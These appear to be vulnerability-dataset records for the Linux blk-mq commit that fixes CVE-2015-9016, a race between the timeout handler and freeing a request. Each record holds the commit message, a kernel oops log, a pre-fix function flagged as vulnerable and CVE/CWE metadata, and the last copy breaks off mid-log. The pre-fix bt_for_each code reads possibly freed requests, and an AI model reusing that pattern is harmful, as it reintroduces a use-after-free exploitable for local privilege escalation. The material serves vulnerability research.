blk-mq: fix race between timeout and freeing request Inside timeout handler, blk_mq_tag_to_rq() is called to retrieve the request from one tag. This way is obviously wrong because the request can be freed any time and some fiedds of the request can't be trusted, then kernel oops might be triggered[1]. Currently wrt. blk_mq_tag_to_rq(), the only special case is that the flush request can share same tag with the request cloned from, and the two requests can't be active at the same time, so this patch fixes the above issue by updating tags->rqs[tag] with the active request(either flush rq or the request cloned from) of the tag. Also blk_mq_tag_to_rq() gets much simplified with this patch. Given blk_mq_tag_to_rq() is mainly for drivers and the caller must make sure the request can't be freed, so in bt_for_each() this helper is replaced with tags->rqs[tag]. [1] kernel oops log [ 439.696220] BUG: unable to handle kernel NULL pointer dereference at 0000000000000158^M [ 439.697162] IP: [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.700653] PGD 7ef765067 PUD 7ef764067 PMD 0 ^M [ 439.700653] Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC ^M [ 439.700653] Dumping ftrace buffer:^M [ 439.700653] (ftrace buffer empty)^M [ 439.700653] Modules linked in: nbd ipv6 kvm_intel kvm serio_raw^M [ 439.700653] CPU: 6 PID: 2779 Comm: stress-ng-sigfd Not tainted 4.2.0-rc5-next-20150805+ #265^M [ 439.730500] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011^M [ 439.730500] task: ffff880605308000 ti: ffff88060530c000 task.ti: ffff88060530c000^M [ 439.730500] RIP: 0010:[<ffffffff812d89ba>] [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.730500] RSP: 0018:ffff880819203da0 EFLAGS: 00010283^M [ 439.730500] RAX: ffff880811b0e000 RBX: ffff8800bb465f00 RCX: 0000000000000002^M [ 439.730500] RDX: 0000000000000000 RSI: 0000000000000202 RDI: 0000000000000000^M [ 439.730500] RBP: ffff880819203db0 R08: 0000000000000002 R09: 0000000000000000^M [ 439.730500] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000202^M [ 439.730500] R13: ffff880814104800 R14: 0000000000000002 R15: ffff880811a2ea00^M [ 439.730500] FS: 00007f165b3f5740(0000) GS:ffff880819200000(0000) knlGS:0000000000000000^M [ 439.730500] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b^M [ 439.730500] CR2: 0000000000000158 CR3: 00000007ef766000 CR4: 00000000000006e0^M [ 439.730500] Stack:^M [ 439.730500] 0000000000000008 ffff8808114eed90 ffff880819203e00 ffffffff812dc104^M [ 439.755663] ffff880819203e40 ffffffff812d9f5e 0000020000000000 ffff8808114eed80^M [ 439.755663] Call Trace:^M [ 439.755663] <IRQ> ^M [ 439.755663] [<ffffffff812dc104>] bt_for_each+0x6e/0xc8^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812dc1b3>] blk_mq_tag_busy_iter+0x55/0x5e^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff812d8911>] blk_mq_rq_timer+0x5d/0xd4^M [ 439.755663] [<ffffffff810a3e10>] call_timer_fn+0xf7/0x284^M [ 439.755663] [<ffffffff810a3d1e>] ? call_timer_fn+0x5/0x284^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff810a46d6>] run_timer_softirq+0x1ce/0x1f8^M [ 439.755663] [<ffffffff8104c367>] __do_softirq+0x181/0x3a4^M [ 439.755663] [<ffffffff8104c76e>] irq_exit+0x40/0x94^M [ 439.755663] [<ffffffff81031482>] smp_apic_timer_interrupt+0x33/0x3e^M [ 439.755663] [<ffffffff815559a4>] apic_timer_interrupt+0x84/0x90^M [ 439.755663] <EOI> ^M [ 439.755663] [<ffffffff81554350>] ? _raw_spin_unlock_irq+0x32/0x4a^M [ 439.755663] [<ffffffff8106a98b>] finish_task_switch+0xe0/0x163^M [ 439.755663] [<ffffffff8106a94d>] ? finish_task_switch+0xa2/0x163^M [ 439.755663] [<ffffffff81550066>] __schedule+0x469/0x6cd^M [ 439.755663] [<ffffffff8155039b>] schedule+0x82/0x9a^M [ 439.789267] [<ffffffff8119b28b>] signalfd_read+0x186/0x49a^M [ 439.790911] [<ffffffff8106d86a>] ? wake_up_q+0x47/0x47^M [ 439.790911] [<ffffffff811618c2>] __vfs_read+0x28/0x9f^M [ 439.790911] [<ffffffff8117a289>] ? __fget_light+0x4d/0x74^M [ 439.790911] [<ffffffff811620a7>] vfs_read+0x7a/0xc6^M [ 439.790911] [<ffffffff8116292b>] SyS_read+0x49/0x7f^M [ 439.790911] [<ffffffff81554c17>] entry_SYSCALL_64_fastpath+0x12/0x6f^M [ 439.790911] Code: 48 89 e5 e8 a9 b8 e7 ff 5d c3 0f 1f 44 00 00 55 89 f2 48 89 e5 41 54 41 89 f4 53 48 8b 47 60 48 8b 1c d0 48 8b 7b 30 48 8b 53 38 <48> 8b 87 58 01 00 00 48 85 c0 75 09 48 8b 97 88 0c 00 00 eb 10 ^M [ 439.790911] RIP [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.790911] RSP <ffff880819203da0>^M [ 439.790911] CR2: 0000000000000158^M [ 439.790911] ---[ end trace d40af58949325661 ]---^M Cc: <[email protected]> Signed-off-by: Ming Lei <[email protected]> Signed-off-by: Jens Axboe <[email protected]>
0048b4837affd153897ed1222283492070027aa9
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
blk_kick_flush
blk_kick_flush( struct request_queue * q , struct blk_flush_queue * fq)
['q', 'fq']
static bool blk_kick_flush(struct request_queue *q, struct blk_flush_queue *fq) { struct list_head *pending = &fq->flush_queue[fq->flush_pending_idx]; struct request *first_rq = list_first_entry(pending, struct request, flush.list); struct request *flush_rq = fq->flush_rq; /* C1 described at the top of this file */ if (fq->flush_pending_idx != fq->flush_running_idx || list_empty(pending)) return false; /* C2 and C3 */ if (!list_empty(&fq->flush_data_in_flight) && time_before(jiffies, fq->flush_pending_since + FLUSH_PENDING_TIMEOUT)) return false; /* * Issue flush and toggle pending_idx. This makes pending_idx * different from running_idx, which means flush is in flight. */ fq->flush_pending_idx ^= 1; blk_rq_init(q, flush_rq); /* * Borrow tag from the first request since they can't * be in flight at the same time. */ if (q->mq_ops) { flush_rq->mq_ctx = first_rq->mq_ctx; flush_rq->tag = first_rq->tag; } flush_rq->cmd_type = REQ_TYPE_FS; flush_rq->cmd_flags = WRITE_FLUSH | REQ_FLUSH_SEQ; flush_rq->rq_disk = first_rq->rq_disk; flush_rq->end_io = flush_end_io; return blk_flush_queue_rq(flush_rq, false); }
171
True
1
CVE-2015-9016
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
HIGH
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.0
HIGH
1.0
5.9
nan
[{'url': 'https://source.android.com/security/bulletin/2018-02-01', 'name': 'https://source.android.com/security/bulletin/2018-02-01', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/0048b4837affd153897ed1222283492070027aa9', 'name': 'https://github.com/torvalds/linux/commit/0048b4837affd153897ed1222283492070027aa9', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://www.debian.org/security/2018/dsa-4187', 'name': 'DSA-4187', 'refsource': 'DEBIAN', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}, {'lang': 'en', 'value': 'CWE-362'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:google:android:-:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'In blk_mq_tag_to_rq in blk-mq.c in the upstream kernel, there is a possible use after free due to a race condition when a request has been previously freed by blk_mq_complete_request. This could lead to local escalation of privilege. Product: Android. Versions: Android kernel. Android ID: A-63083046.'}]
2018-05-03T01:29Z
2018-04-05T18:29Z
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider. A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc. A race condition violates these properties, which are closely related: Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution. Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource. A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x). The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.
https://cwe.mitre.org/data/definitions/362.html
0
Ming Lei
2015-08-09 03:41:51-04:00
blk-mq: fix race between timeout and freeing request Inside timeout handler, blk_mq_tag_to_rq() is called to retrieve the request from one tag. This way is obviously wrong because the request can be freed any time and some fiedds of the request can't be trusted, then kernel oops might be triggered[1]. Currently wrt. blk_mq_tag_to_rq(), the only special case is that the flush request can share same tag with the request cloned from, and the two requests can't be active at the same time, so this patch fixes the above issue by updating tags->rqs[tag] with the active request(either flush rq or the request cloned from) of the tag. Also blk_mq_tag_to_rq() gets much simplified with this patch. Given blk_mq_tag_to_rq() is mainly for drivers and the caller must make sure the request can't be freed, so in bt_for_each() this helper is replaced with tags->rqs[tag]. [1] kernel oops log [ 439.696220] BUG: unable to handle kernel NULL pointer dereference at 0000000000000158^M [ 439.697162] IP: [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.700653] PGD 7ef765067 PUD 7ef764067 PMD 0 ^M [ 439.700653] Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC ^M [ 439.700653] Dumping ftrace buffer:^M [ 439.700653] (ftrace buffer empty)^M [ 439.700653] Modules linked in: nbd ipv6 kvm_intel kvm serio_raw^M [ 439.700653] CPU: 6 PID: 2779 Comm: stress-ng-sigfd Not tainted 4.2.0-rc5-next-20150805+ #265^M [ 439.730500] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011^M [ 439.730500] task: ffff880605308000 ti: ffff88060530c000 task.ti: ffff88060530c000^M [ 439.730500] RIP: 0010:[<ffffffff812d89ba>] [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.730500] RSP: 0018:ffff880819203da0 EFLAGS: 00010283^M [ 439.730500] RAX: ffff880811b0e000 RBX: ffff8800bb465f00 RCX: 0000000000000002^M [ 439.730500] RDX: 0000000000000000 RSI: 0000000000000202 RDI: 0000000000000000^M [ 439.730500] RBP: ffff880819203db0 R08: 0000000000000002 R09: 0000000000000000^M [ 439.730500] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000202^M [ 439.730500] R13: ffff880814104800 R14: 0000000000000002 R15: ffff880811a2ea00^M [ 439.730500] FS: 00007f165b3f5740(0000) GS:ffff880819200000(0000) knlGS:0000000000000000^M [ 439.730500] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b^M [ 439.730500] CR2: 0000000000000158 CR3: 00000007ef766000 CR4: 00000000000006e0^M [ 439.730500] Stack:^M [ 439.730500] 0000000000000008 ffff8808114eed90 ffff880819203e00 ffffffff812dc104^M [ 439.755663] ffff880819203e40 ffffffff812d9f5e 0000020000000000 ffff8808114eed80^M [ 439.755663] Call Trace:^M [ 439.755663] <IRQ> ^M [ 439.755663] [<ffffffff812dc104>] bt_for_each+0x6e/0xc8^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812dc1b3>] blk_mq_tag_busy_iter+0x55/0x5e^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff812d8911>] blk_mq_rq_timer+0x5d/0xd4^M [ 439.755663] [<ffffffff810a3e10>] call_timer_fn+0xf7/0x284^M [ 439.755663] [<ffffffff810a3d1e>] ? call_timer_fn+0x5/0x284^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff810a46d6>] run_timer_softirq+0x1ce/0x1f8^M [ 439.755663] [<ffffffff8104c367>] __do_softirq+0x181/0x3a4^M [ 439.755663] [<ffffffff8104c76e>] irq_exit+0x40/0x94^M [ 439.755663] [<ffffffff81031482>] smp_apic_timer_interrupt+0x33/0x3e^M [ 439.755663] [<ffffffff815559a4>] apic_timer_interrupt+0x84/0x90^M [ 439.755663] <EOI> ^M [ 439.755663] [<ffffffff81554350>] ? _raw_spin_unlock_irq+0x32/0x4a^M [ 439.755663] [<ffffffff8106a98b>] finish_task_switch+0xe0/0x163^M [ 439.755663] [<ffffffff8106a94d>] ? finish_task_switch+0xa2/0x163^M [ 439.755663] [<ffffffff81550066>] __schedule+0x469/0x6cd^M [ 439.755663] [<ffffffff8155039b>] schedule+0x82/0x9a^M [ 439.789267] [<ffffffff8119b28b>] signalfd_read+0x186/0x49a^M [ 439.790911] [<ffffffff8106d86a>] ? wake_up_q+0x47/0x47^M [ 439.790911] [<ffffffff811618c2>] __vfs_read+0x28/0x9f^M [ 439.790911] [<ffffffff8117a289>] ? __fget_light+0x4d/0x74^M [ 439.790911] [<ffffffff811620a7>] vfs_read+0x7a/0xc6^M [ 439.790911] [<ffffffff8116292b>] SyS_read+0x49/0x7f^M [ 439.790911] [<ffffffff81554c17>] entry_SYSCALL_64_fastpath+0x12/0x6f^M [ 439.790911] Code: 48 89 e5 e8 a9 b8 e7 ff 5d c3 0f 1f 44 00 00 55 89 f2 48 89 e5 41 54 41 89 f4 53 48 8b 47 60 48 8b 1c d0 48 8b 7b 30 48 8b 53 38 <48> 8b 87 58 01 00 00 48 85 c0 75 09 48 8b 97 88 0c 00 00 eb 10 ^M [ 439.790911] RIP [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.790911] RSP <ffff880819203da0>^M [ 439.790911] CR2: 0000000000000158^M [ 439.790911] ---[ end trace d40af58949325661 ]---^M Cc: <[email protected]> Signed-off-by: Ming Lei <[email protected]> Signed-off-by: Jens Axboe <[email protected]>
0048b4837affd153897ed1222283492070027aa9
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
blk_kick_flush
blk_kick_flush( struct request_queue * q , struct blk_flush_queue * fq)
['q', 'fq']
static bool blk_kick_flush(struct request_queue *q, struct blk_flush_queue *fq) { struct list_head *pending = &fq->flush_queue[fq->flush_pending_idx]; struct request *first_rq = list_first_entry(pending, struct request, flush.list); struct request *flush_rq = fq->flush_rq; /* C1 described at the top of this file */ if (fq->flush_pending_idx != fq->flush_running_idx || list_empty(pending)) return false; /* C2 and C3 */ if (!list_empty(&fq->flush_data_in_flight) && time_before(jiffies, fq->flush_pending_since + FLUSH_PENDING_TIMEOUT)) return false; /* * Issue flush and toggle pending_idx. This makes pending_idx * different from running_idx, which means flush is in flight. */ fq->flush_pending_idx ^= 1; blk_rq_init(q, flush_rq); /* * Borrow tag from the first request since they can't * be in flight at the same time. */ if (q->mq_ops) { flush_rq->mq_ctx = first_rq->mq_ctx; flush_rq->tag = first_rq->tag; } flush_rq->cmd_type = REQ_TYPE_FS; flush_rq->cmd_flags = WRITE_FLUSH | REQ_FLUSH_SEQ; flush_rq->rq_disk = first_rq->rq_disk; flush_rq->end_io = flush_end_io; return blk_flush_queue_rq(flush_rq, false); }
171
True
1
CVE-2015-9016
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
HIGH
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.0
HIGH
1.0
5.9
nan
[{'url': 'https://source.android.com/security/bulletin/2018-02-01', 'name': 'https://source.android.com/security/bulletin/2018-02-01', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/0048b4837affd153897ed1222283492070027aa9', 'name': 'https://github.com/torvalds/linux/commit/0048b4837affd153897ed1222283492070027aa9', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://www.debian.org/security/2018/dsa-4187', 'name': 'DSA-4187', 'refsource': 'DEBIAN', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}, {'lang': 'en', 'value': 'CWE-362'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:google:android:-:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'In blk_mq_tag_to_rq in blk-mq.c in the upstream kernel, there is a possible use after free due to a race condition when a request has been previously freed by blk_mq_complete_request. This could lead to local escalation of privilege. Product: Android. Versions: Android kernel. Android ID: A-63083046.'}]
2018-05-03T01:29Z
2018-04-05T18:29Z
Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
https://cwe.mitre.org/data/definitions/264.html
1
Ming Lei
2015-08-09 03:41:51-04:00
blk-mq: fix race between timeout and freeing request Inside timeout handler, blk_mq_tag_to_rq() is called to retrieve the request from one tag. This way is obviously wrong because the request can be freed any time and some fiedds of the request can't be trusted, then kernel oops might be triggered[1]. Currently wrt. blk_mq_tag_to_rq(), the only special case is that the flush request can share same tag with the request cloned from, and the two requests can't be active at the same time, so this patch fixes the above issue by updating tags->rqs[tag] with the active request(either flush rq or the request cloned from) of the tag. Also blk_mq_tag_to_rq() gets much simplified with this patch. Given blk_mq_tag_to_rq() is mainly for drivers and the caller must make sure the request can't be freed, so in bt_for_each() this helper is replaced with tags->rqs[tag]. [1] kernel oops log [ 439.696220] BUG: unable to handle kernel NULL pointer dereference at 0000000000000158^M [ 439.697162] IP: [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.700653] PGD 7ef765067 PUD 7ef764067 PMD 0 ^M [ 439.700653] Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC ^M [ 439.700653] Dumping ftrace buffer:^M [ 439.700653] (ftrace buffer empty)^M [ 439.700653] Modules linked in: nbd ipv6 kvm_intel kvm serio_raw^M [ 439.700653] CPU: 6 PID: 2779 Comm: stress-ng-sigfd Not tainted 4.2.0-rc5-next-20150805+ #265^M [ 439.730500] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011^M [ 439.730500] task: ffff880605308000 ti: ffff88060530c000 task.ti: ffff88060530c000^M [ 439.730500] RIP: 0010:[<ffffffff812d89ba>] [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.730500] RSP: 0018:ffff880819203da0 EFLAGS: 00010283^M [ 439.730500] RAX: ffff880811b0e000 RBX: ffff8800bb465f00 RCX: 0000000000000002^M [ 439.730500] RDX: 0000000000000000 RSI: 0000000000000202 RDI: 0000000000000000^M [ 439.730500] RBP: ffff880819203db0 R08: 0000000000000002 R09: 0000000000000000^M [ 439.730500] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000202^M [ 439.730500] R13: ffff880814104800 R14: 0000000000000002 R15: ffff880811a2ea00^M [ 439.730500] FS: 00007f165b3f5740(0000) GS:ffff880819200000(0000) knlGS:0000000000000000^M [ 439.730500] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b^M [ 439.730500] CR2: 0000000000000158 CR3: 00000007ef766000 CR4: 00000000000006e0^M [ 439.730500] Stack:^M [ 439.730500] 0000000000000008 ffff8808114eed90 ffff880819203e00 ffffffff812dc104^M [ 439.755663] ffff880819203e40 ffffffff812d9f5e 0000020000000000 ffff8808114eed80^M [ 439.755663] Call Trace:^M [ 439.755663] <IRQ> ^M [ 439.755663] [<ffffffff812dc104>] bt_for_each+0x6e/0xc8^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812dc1b3>] blk_mq_tag_busy_iter+0x55/0x5e^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff812d8911>] blk_mq_rq_timer+0x5d/0xd4^M [ 439.755663] [<ffffffff810a3e10>] call_timer_fn+0xf7/0x284^M [ 439.755663] [<ffffffff810a3d1e>] ? call_timer_fn+0x5/0x284^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff810a46d6>] run_timer_softirq+0x1ce/0x1f8^M [ 439.755663] [<ffffffff8104c367>] __do_softirq+0x181/0x3a4^M [ 439.755663] [<ffffffff8104c76e>] irq_exit+0x40/0x94^M [ 439.755663] [<ffffffff81031482>] smp_apic_timer_interrupt+0x33/0x3e^M [ 439.755663] [<ffffffff815559a4>] apic_timer_interrupt+0x84/0x90^M [ 439.755663] <EOI> ^M [ 439.755663] [<ffffffff81554350>] ? _raw_spin_unlock_irq+0x32/0x4a^M [ 439.755663] [<ffffffff8106a98b>] finish_task_switch+0xe0/0x163^M [ 439.755663] [<ffffffff8106a94d>] ? finish_task_switch+0xa2/0x163^M [ 439.755663] [<ffffffff81550066>] __schedule+0x469/0x6cd^M [ 439.755663] [<ffffffff8155039b>] schedule+0x82/0x9a^M [ 439.789267] [<ffffffff8119b28b>] signalfd_read+0x186/0x49a^M [ 439.790911] [<ffffffff8106d86a>] ? wake_up_q+0x47/0x47^M [ 439.790911] [<ffffffff811618c2>] __vfs_read+0x28/0x9f^M [ 439.790911] [<ffffffff8117a289>] ? __fget_light+0x4d/0x74^M [ 439.790911] [<ffffffff811620a7>] vfs_read+0x7a/0xc6^M [ 439.790911] [<ffffffff8116292b>] SyS_read+0x49/0x7f^M [ 439.790911] [<ffffffff81554c17>] entry_SYSCALL_64_fastpath+0x12/0x6f^M [ 439.790911] Code: 48 89 e5 e8 a9 b8 e7 ff 5d c3 0f 1f 44 00 00 55 89 f2 48 89 e5 41 54 41 89 f4 53 48 8b 47 60 48 8b 1c d0 48 8b 7b 30 48 8b 53 38 <48> 8b 87 58 01 00 00 48 85 c0 75 09 48 8b 97 88 0c 00 00 eb 10 ^M [ 439.790911] RIP [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.790911] RSP <ffff880819203da0>^M [ 439.790911] CR2: 0000000000000158^M [ 439.790911] ---[ end trace d40af58949325661 ]---^M Cc: <[email protected]> Signed-off-by: Ming Lei <[email protected]> Signed-off-by: Jens Axboe <[email protected]>
0048b4837affd153897ed1222283492070027aa9
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
bt_for_each
bt_for_each( struct blk_mq_hw_ctx * hctx , struct blk_mq_bitmap_tags * bt , unsigned int off , busy_iter_fn * fn , void * data , bool reserved)
['hctx', 'bt', 'off', 'fn', 'data', 'reserved']
static void bt_for_each(struct blk_mq_hw_ctx *hctx, struct blk_mq_bitmap_tags *bt, unsigned int off, busy_iter_fn *fn, void *data, bool reserved) { struct request *rq; int bit, i; for (i = 0; i < bt->map_nr; i++) { struct blk_align_bitmap *bm = &bt->map[i]; for (bit = find_first_bit(&bm->word, bm->depth); bit < bm->depth; bit = find_next_bit(&bm->word, bm->depth, bit + 1)) { rq = blk_mq_tag_to_rq(hctx->tags, off + bit); if (rq->q == hctx->queue) fn(hctx, rq, data, reserved); } off += (1 << bt->bits_per_word); } }
156
True
1
CVE-2015-9016
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
HIGH
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.0
HIGH
1.0
5.9
nan
[{'url': 'https://source.android.com/security/bulletin/2018-02-01', 'name': 'https://source.android.com/security/bulletin/2018-02-01', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/0048b4837affd153897ed1222283492070027aa9', 'name': 'https://github.com/torvalds/linux/commit/0048b4837affd153897ed1222283492070027aa9', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://www.debian.org/security/2018/dsa-4187', 'name': 'DSA-4187', 'refsource': 'DEBIAN', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}, {'lang': 'en', 'value': 'CWE-362'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:google:android:-:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'In blk_mq_tag_to_rq in blk-mq.c in the upstream kernel, there is a possible use after free due to a race condition when a request has been previously freed by blk_mq_complete_request. This could lead to local escalation of privilege. Product: Android. Versions: Android kernel. Android ID: A-63083046.'}]
2018-05-03T01:29Z
2018-04-05T18:29Z
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider. A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc. A race condition violates these properties, which are closely related: Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution. Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource. A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x). The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.
https://cwe.mitre.org/data/definitions/362.html
0
Ming Lei
2015-08-09 03:41:51-04:00
blk-mq: fix race between timeout and freeing request Inside timeout handler, blk_mq_tag_to_rq() is called to retrieve the request from one tag. This way is obviously wrong because the request can be freed any time and some fiedds of the request can't be trusted, then kernel oops might be triggered[1]. Currently wrt. blk_mq_tag_to_rq(), the only special case is that the flush request can share same tag with the request cloned from, and the two requests can't be active at the same time, so this patch fixes the above issue by updating tags->rqs[tag] with the active request(either flush rq or the request cloned from) of the tag. Also blk_mq_tag_to_rq() gets much simplified with this patch. Given blk_mq_tag_to_rq() is mainly for drivers and the caller must make sure the request can't be freed, so in bt_for_each() this helper is replaced with tags->rqs[tag]. [1] kernel oops log [ 439.696220] BUG: unable to handle kernel NULL pointer dereference at 0000000000000158^M [ 439.697162] IP: [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.700653] PGD 7ef765067 PUD 7ef764067 PMD 0 ^M [ 439.700653] Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC ^M [ 439.700653] Dumping ftrace buffer:^M [ 439.700653] (ftrace buffer empty)^M [ 439.700653] Modules linked in: nbd ipv6 kvm_intel kvm serio_raw^M [ 439.700653] CPU: 6 PID: 2779 Comm: stress-ng-sigfd Not tainted 4.2.0-rc5-next-20150805+ #265^M [ 439.730500] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011^M [ 439.730500] task: ffff880605308000 ti: ffff88060530c000 task.ti: ffff88060530c000^M [ 439.730500] RIP: 0010:[<ffffffff812d89ba>] [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.730500] RSP: 0018:ffff880819203da0 EFLAGS: 00010283^M [ 439.730500] RAX: ffff880811b0e000 RBX: ffff8800bb465f00 RCX: 0000000000000002^M [ 439.730500] RDX: 0000000000000000 RSI: 0000000000000202 RDI: 0000000000000000^M [ 439.730500] RBP: ffff880819203db0 R08: 0000000000000002 R09: 0000000000000000^M [ 